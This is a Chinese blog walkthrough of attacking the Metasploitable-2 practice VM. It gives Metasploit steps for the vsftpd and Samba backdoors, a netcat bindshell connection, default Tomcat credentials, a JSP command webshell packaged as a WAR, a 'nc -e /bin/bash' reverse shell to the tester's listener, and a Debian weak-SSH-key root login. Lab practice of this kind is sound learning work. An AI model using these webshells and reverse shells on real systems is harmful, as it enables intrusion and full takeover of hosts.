• VulnHub Metasploitable-2


    一、信息收集

    nmap扫描

    访问80端口

    二、漏洞利用

    1.漏洞一

    1.vsftpd 2.3.4(CVE-2011-2523)

    2.msf

    1. msf6 > search vsftpd
    2. msf6 > use 0
    3. msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.103.189
    4. msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

    2.漏洞二

    samba 3.x

    可疑看到开放了samba服务,版本是:samba 3.x

    可疑上网搜一下这个samba 3.x版本msf要用到的payload

    msf所要用到的命令:

    1. search samba 3.x
    2. use exploit/multi/samba/usermap_script
    3. show payloads
    4. set payload cmd/unix/reverse
    5. show options
    6. set RHOSTS 靶机IP
    7. run

    直接进入shell,是root权限

    4.漏洞三

    DVWA靶场

    默认账号密码:

    1. 账号:admin
    2. 密码:password

    5.漏洞四

    Backdoor 后门

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# nc 192.168.103.189 1524

    6.漏洞五

    apache tomcat

    1.访问80端口

    首先查看第一个网站就是80端口

    查看下8180端口下面的tomcat

    2.tomcat漏洞

    利用tomcat文件上传漏洞,点击tomcat manager

    1. 账号:tomcat
    2. 密码:tomcat

    存在一个文件上传的上传点

    3.上传war包

    jsp的可回显马,将他打包成war上传

    1. <%
    2. if("123".equals(request.getParameter("pwd"))){
    3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    4. int a = -1;
    5. byte[] b = new byte[2048];
    6. out.print("
      ");
    7. while((a=in.read(b))!=-1){
    8. out.println(new String(b));
    9. }
    10. out.print("
    ");
  • }
  • %>
    1. //jar -cvf 被打包的war包名字 jsp的可回显马
    2. jar -cvf tomcats.war tomcat.jsp

    1. 然后我们访问下:
    2. url:8180/war包名称/jsp木马完整名称
    3. http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=id

    发现回显出来的权限不高

    4.反弹shell

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# nc -lvvp 4444
    3. listening on [any] 4444 ...
    4. http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc -e /bin/bash 192.168.103.129 4444
    5. url编码:
    6. http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc%20-e%20%2Fbin%2Fbash%20192.168.103.129%204444
    7. python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell

    查看内核版本 uname -a

    5.ssh公钥文件

    1. 最后在/root/.ssh目录中发现了一个公钥文件
    2. 这个在低版本中也是可以利用

    1. 因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来
    2. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
    3. (debian_ssh_rsa_2048_x86.tar.bz2)
    1. .tar.bz2
    2. 解压:tar jxvf FileName.tar.bz2
    3. 压缩:tar jcvf FileName.tar.bz2 DirName
    4. tar jxvf 5622.tar.bz2

    然后来到/rsa/2048目录下面

    1. grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
    2. //使用命令查找
    3. 57c3115d77c56390332dc5c49978627a-5429

    6.root权限

    然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了

    1. ┌──(root💀kali)-[~/routing/rsa/2048]
    2. └─# ssh root@192.168.103.187 -i 57c3115d77c56390332dc5c49978627a-5429

  • 相关阅读:
    589页22万字城市智慧应急指挥中心大数据信息化系统整体设计方案
    js坑之数字型字符串比对只比较第一位数字
    「Java 数据结构」:环形链表和约瑟夫问题。
    c#关键字和保留字
    javascript选取元素的范围,可以包含父级,也可以不包含父级
    Android 获取手机中已安装apk文件信息
    GB/T 29734.3-2020 塑钢复合门窗检测
    MySQL表空间
    【C++学习笔记】静态多态与动态多态
    面试题:你是如何计划和组织一个大型的软件测试项目的?
  • 原文地址:https://blog.csdn.net/SENMINGya/article/details/134087708